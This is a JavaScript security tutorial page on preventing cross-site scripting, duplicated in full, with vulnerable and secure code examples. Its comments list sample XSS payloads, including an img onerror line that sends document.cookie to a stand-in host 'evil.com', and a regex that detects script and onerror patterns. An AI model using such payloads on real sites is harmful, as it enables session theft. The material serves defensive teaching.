JavaScript Security

XSS Prevention

Protect your application from Cross-Site Scripting attacks

Find videos you like?

Save to resource drawer for future reference!

What is XSS (Cross-Site Scripting)?

XSS is a security vulnerability where attackers inject malicious scripts into web pages. When other users view these pages, the scripts execute in their browsers, potentially stealing data, hijacking sessions, or performing unauthorized actions.

Reflected XSS

Malicious script in URL/request immediately reflected in response

Stored XSS

Malicious script stored in database, executed when data is displayed

DOM-based XSS

Vulnerability in client-side JavaScript that processes user input unsafely

Common XSS Attack Vectors

Where attackers inject malicious code

innerHTML Assignment

Directly inserting user input into innerHTML without sanitization

element.innerHTML = userInput; // ❌ Dangerous!

URL Parameters

Reading URL parameters and displaying them without encoding

const name = new URLSearchParams(location.search).get('name');
document.write(name); // ❌ Dangerous!

eval() and Similar Functions

Executing user input as code

eval(userInput); // ❌ Extremely dangerous!

Event Handlers

Dynamically setting event handlers with user input

element.onclick = new Function(userInput); // ❌ Dangerous!

Example 1: Vulnerable Code

❌ What NOT to do

// ❌ VULNERABLE: User input directly in innerHTML
function displayComment(comment) {
  document.getElementById('comments').innerHTML += `
    <div class="comment">${comment}</div>
  `;
}

// Attacker can inject:
// <script>alert('XSS')</script>
// <img src=x onerror="fetch('evil.com?cookie='+document.cookie)">

// ❌ VULNERABLE: URL parameter displayed without encoding
const greeting = new URLSearchParams(location.search).get('name');
document.getElementById('greeting').innerHTML = `Hello, ${greeting}!`;

// Attacker URL:
// ?name=<script>alert('XSS')</script>

// ❌ VULNERABLE: eval() with user input
const userCode = prompt('Enter calculation:');
const result = eval(userCode); // Can execute ANY code!

// ❌ VULNERABLE: Dynamic script creation
const scriptTag = document.createElement('script');
scriptTag.textContent = userInput; // Dangerous!
document.body.appendChild(scriptTag);

XSS Prevention Techniques

How to protect your application

✅ Output Encoding

Encode special characters before displaying user input

•HTML encode: < becomes <
•Use textContent instead of innerHTML
•Use setAttribute() for attributes

✅ Input Validation

Validate and sanitize user input on both client and server

•Whitelist allowed characters
•Reject suspicious patterns
•Validate data types and formats

✅ Content Security Policy

HTTP header that restricts where scripts can load from

•Blocks inline scripts by default
•Whitelist trusted script sources

✅ Use Frameworks Safely

Modern frameworks have built-in XSS protection

•React auto-escapes JSX expressions
•Vue escapes template interpolations
•Angular sanitizes by default

Example 2: Secure Code

✅ Proper XSS prevention

// ✅ SAFE: Use textContent instead of innerHTML
function displayCommentSafe(comment) {
  const div = document.createElement('div');
  div.className = 'comment';
  div.textContent = comment; // Automatically escapes HTML
  document.getElementById('comments').appendChild(div);
}

// ✅ SAFE: HTML encoding function
function escapeHTML(text) {
  const div = document.createElement('div');
  div.textContent = text;
  return div.innerHTML;
}

function displayGreeting(name) {
  const safe = escapeHTML(name);
  document.getElementById('greeting').innerHTML = `Hello, ${safe}!`;
}

// ✅ SAFE: DOMPurify library for sanitization
import DOMPurify from 'dompurify';

function displayRichContent(html) {
  const clean = DOMPurify.sanitize(html);
  element.innerHTML = clean; // Safe because sanitized
}

// ✅ SAFE: React auto-escapes
function CommentComponent({ comment }) {
  return <div className="comment">{comment}</div>;
  // React automatically escapes the comment
}

// ✅ SAFE: Avoid dangerous patterns
// Instead of eval():
const safeCalc = new Function('return ' + sanitizedExpression)();

// Better: use a safe expression parser library
import { evaluate } from 'mathjs';
const result = evaluate(userInput); // Only math expressions allowed

Example 3: Real-World Scenario - Comment System

Complete XSS-safe implementation

// Comment system with XSS protection

class CommentSystem {
  constructor(containerId) {
    this.container = document.getElementById(containerId);
  }
  
  // ✅ Escape HTML entities
  escapeHTML(text) {
    const map = {
      '&': '&amp;',
      '<': '&lt;',
      '>': '&gt;',
      '"': '&quot;',
      "'": '&#039;'
    };
    return text.replace(/[&<>"']/g, m => map[m]);
  }
  
  // ✅ Validate input
  validateComment(text) {
    if (!text || text.trim().length === 0) {
      throw new Error('Comment cannot be empty');
    }
    if (text.length > 1000) {
      throw new Error('Comment too long');
    }
    // Check for suspicious patterns
    const dangerous = /<script|javascript:|onerror=/i;
    if (dangerous.test(text)) {
      throw new Error('Invalid content detected');
    }
    return true;
  }
  
  // ✅ Safe display method
  addComment(username, text) {
    try {
      this.validateComment(text);
      
      // Create elements safely
      const commentDiv = document.createElement('div');
      commentDiv.className = 'comment';
      
      const userSpan = document.createElement('span');
      userSpan.className = 'username';
      userSpan.textContent = this.escapeHTML(username); // Safe
      
      const textSpan = document.createElement('span');
      textSpan.className = 'text';
      textSpan.textContent = this.escapeHTML(text); // Safe
      
      const timeSpan = document.createElement('span');
      timeSpan.className = 'time';
      timeSpan.textContent = new Date().toLocaleString();
      
      commentDiv.appendChild(userSpan);
      commentDiv.appendChild(textSpan);
      commentDiv.appendChild(timeSpan);
      
      this.container.appendChild(commentDiv);
      
    } catch (error) {
      console.error('Failed to add comment:', error.message);
      alert('Comment rejected: ' + error.message);
    }
  }
}

// Usage
const comments = new CommentSystem('comments-container');
comments.addComment('Alice', 'Great article!'); // Safe
comments.addComment('Eve', '<script>alert("XSS")</script>'); // Blocked!

XSS Prevention Best Practices

Follow these security guidelines

✅ Do

• Use textContent for displaying text
• Encode/escape all user input
• Validate input on server-side
• Use CSP headers
• Keep frameworks/libraries updated
• Use DOMPurify for rich content
• Set HttpOnly flag on cookies
• Regular security audits

❌ Don't

• Use innerHTML with user input
• Use eval() or Function constructor
• Trust client-side validation only
• Use document.write()
• Create inline event handlers dynamically
• Disable XSS protection features
• Rely on blacklists (use whitelists)
• Ignore framework security features

Key Takeaways

🛡️

Never Trust User Input

Always encode, validate, and sanitize
Treat all input as potentially malicious

📝

Use textContent

Prefer textContent over innerHTML
Automatically escapes HTML

🚫

Avoid Dangerous Functions

Never use eval() or Function()
Don't use document.write()

🔒

Use CSP & Libraries

Implement Content Security Policy
Use DOMPurify for sanitization

Security First

XSS is one of the most common web vulnerabilities. Always encode output, validate input, and use security headers. Prevention is easier than recovery!

Previous Topic

Prettier

Automatic code formatting.

Next Topic

CSRF Protection

Cross-site request forgery prevention.

Ask a Question

Have a question about XSS Prevention? Ask our AI assistant.

🔐 Login to use AI Assistant

JavaScript Code Editor

Write and experiment with JavaScript code.

Output

Click "Run Code" to see the output.

JavaScript Security

XSS Prevention

Protect your application from Cross-Site Scripting attacks

Find videos you like?

Save to resource drawer for future reference!

What is XSS (Cross-Site Scripting)?

Reflected XSS

Malicious script in URL/request immediately reflected in response

Stored XSS

Malicious script stored in database, executed when data is displayed

DOM-based XSS

Vulnerability in client-side JavaScript that processes user input unsafely

Common XSS Attack Vectors

Where attackers inject malicious code

innerHTML Assignment

Directly inserting user input into innerHTML without sanitization

element.innerHTML = userInput; // ❌ Dangerous!

URL Parameters

Reading URL parameters and displaying them without encoding

const name = new URLSearchParams(location.search).get('name');
document.write(name); // ❌ Dangerous!

eval() and Similar Functions

Executing user input as code

eval(userInput); // ❌ Extremely dangerous!

Event Handlers

Dynamically setting event handlers with user input

element.onclick = new Function(userInput); // ❌ Dangerous!

Example 1: Vulnerable Code

❌ What NOT to do

// ❌ VULNERABLE: User input directly in innerHTML
function displayComment(comment) {
  document.getElementById('comments').innerHTML += `
    <div class="comment">${comment}</div>
  `;
}

// Attacker can inject:
// <script>alert('XSS')</script>
// <img src=x onerror="fetch('evil.com?cookie='+document.cookie)">

// ❌ VULNERABLE: URL parameter displayed without encoding
const greeting = new URLSearchParams(location.search).get('name');
document.getElementById('greeting').innerHTML = `Hello, ${greeting}!`;

// Attacker URL:
// ?name=<script>alert('XSS')</script>

// ❌ VULNERABLE: eval() with user input
const userCode = prompt('Enter calculation:');
const result = eval(userCode); // Can execute ANY code!

// ❌ VULNERABLE: Dynamic script creation
const scriptTag = document.createElement('script');
scriptTag.textContent = userInput; // Dangerous!
document.body.appendChild(scriptTag);

XSS Prevention Techniques

How to protect your application

✅ Output Encoding

Encode special characters before displaying user input

•HTML encode: < becomes <
•Use textContent instead of innerHTML
•Use setAttribute() for attributes

✅ Input Validation

Validate and sanitize user input on both client and server

•Whitelist allowed characters
•Reject suspicious patterns
•Validate data types and formats

✅ Content Security Policy

HTTP header that restricts where scripts can load from

•Blocks inline scripts by default
•Whitelist trusted script sources

✅ Use Frameworks Safely

Modern frameworks have built-in XSS protection

•React auto-escapes JSX expressions
•Vue escapes template interpolations
•Angular sanitizes by default

Example 2: Secure Code

✅ Proper XSS prevention

// ✅ SAFE: Use textContent instead of innerHTML
function displayCommentSafe(comment) {
  const div = document.createElement('div');
  div.className = 'comment';
  div.textContent = comment; // Automatically escapes HTML
  document.getElementById('comments').appendChild(div);
}

// ✅ SAFE: HTML encoding function
function escapeHTML(text) {
  const div = document.createElement('div');
  div.textContent = text;
  return div.innerHTML;
}

function displayGreeting(name) {
  const safe = escapeHTML(name);
  document.getElementById('greeting').innerHTML = `Hello, ${safe}!`;
}

// ✅ SAFE: DOMPurify library for sanitization
import DOMPurify from 'dompurify';

function displayRichContent(html) {
  const clean = DOMPurify.sanitize(html);
  element.innerHTML = clean; // Safe because sanitized
}

// ✅ SAFE: React auto-escapes
function CommentComponent({ comment }) {
  return <div className="comment">{comment}</div>;
  // React automatically escapes the comment
}

// ✅ SAFE: Avoid dangerous patterns
// Instead of eval():
const safeCalc = new Function('return ' + sanitizedExpression)();

// Better: use a safe expression parser library
import { evaluate } from 'mathjs';
const result = evaluate(userInput); // Only math expressions allowed

Example 3: Real-World Scenario - Comment System

Complete XSS-safe implementation

// Comment system with XSS protection

class CommentSystem {
  constructor(containerId) {
    this.container = document.getElementById(containerId);
  }
  
  // ✅ Escape HTML entities
  escapeHTML(text) {
    const map = {
      '&': '&amp;',
      '<': '&lt;',
      '>': '&gt;',
      '"': '&quot;',
      "'": '&#039;'
    };
    return text.replace(/[&<>"']/g, m => map[m]);
  }
  
  // ✅ Validate input
  validateComment(text) {
    if (!text || text.trim().length === 0) {
      throw new Error('Comment cannot be empty');
    }
    if (text.length > 1000) {
      throw new Error('Comment too long');
    }
    // Check for suspicious patterns
    const dangerous = /<script|javascript:|onerror=/i;
    if (dangerous.test(text)) {
      throw new Error('Invalid content detected');
    }
    return true;
  }
  
  // ✅ Safe display method
  addComment(username, text) {
    try {
      this.validateComment(text);
      
      // Create elements safely
      const commentDiv = document.createElement('div');
      commentDiv.className = 'comment';
      
      const userSpan = document.createElement('span');
      userSpan.className = 'username';
      userSpan.textContent = this.escapeHTML(username); // Safe
      
      const textSpan = document.createElement('span');
      textSpan.className = 'text';
      textSpan.textContent = this.escapeHTML(text); // Safe
      
      const timeSpan = document.createElement('span');
      timeSpan.className = 'time';
      timeSpan.textContent = new Date().toLocaleString();
      
      commentDiv.appendChild(userSpan);
      commentDiv.appendChild(textSpan);
      commentDiv.appendChild(timeSpan);
      
      this.container.appendChild(commentDiv);
      
    } catch (error) {
      console.error('Failed to add comment:', error.message);
      alert('Comment rejected: ' + error.message);
    }
  }
}

// Usage
const comments = new CommentSystem('comments-container');
comments.addComment('Alice', 'Great article!'); // Safe
comments.addComment('Eve', '<script>alert("XSS")</script>'); // Blocked!

XSS Prevention Best Practices

Follow these security guidelines

✅ Do

• Use textContent for displaying text
• Encode/escape all user input
• Validate input on server-side
• Use CSP headers
• Keep frameworks/libraries updated
• Use DOMPurify for rich content
• Set HttpOnly flag on cookies
• Regular security audits

❌ Don't

• Use innerHTML with user input
• Use eval() or Function constructor
• Trust client-side validation only
• Use document.write()
• Create inline event handlers dynamically
• Disable XSS protection features
• Rely on blacklists (use whitelists)
• Ignore framework security features

Key Takeaways

🛡️

Never Trust User Input

Always encode, validate, and sanitize
Treat all input as potentially malicious

📝

Use textContent

Prefer textContent over innerHTML
Automatically escapes HTML

🚫

Avoid Dangerous Functions

Never use eval() or Function()
Don't use document.write()

🔒

Use CSP & Libraries

Implement Content Security Policy
Use DOMPurify for sanitization

Security First

XSS is one of the most common web vulnerabilities. Always encode output, validate input, and use security headers. Prevention is easier than recovery!

Coder Pod - Learn Programming Online | AI Coding Tutor & Interview Practice

Prettier

CSRF Protection

JavaScript Code Editor

Building Your Learning Module...

XSS Prevention

What is XSS (Cross-Site Scripting)?

Reflected XSS

Stored XSS

DOM-based XSS

innerHTML Assignment

URL Parameters

eval() and Similar Functions

Event Handlers

✅ Output Encoding

✅ Input Validation

✅ Content Security Policy

✅ Use Frameworks Safely

✅ Do

❌ Don't

Key Takeaways

Never Trust User Input

Use textContent

Avoid Dangerous Functions

Use CSP & Libraries

Security First

Prettier

CSRF Protection

JavaScript Code Editor

XSS Prevention

What is XSS (Cross-Site Scripting)?

Reflected XSS

Stored XSS

DOM-based XSS

innerHTML Assignment

URL Parameters

eval() and Similar Functions

Event Handlers

✅ Output Encoding

✅ Input Validation

✅ Content Security Policy

✅ Use Frameworks Safely

✅ Do

❌ Don't

Key Takeaways

Never Trust User Input

Use textContent

Avoid Dangerous Functions

Use CSP & Libraries

Security First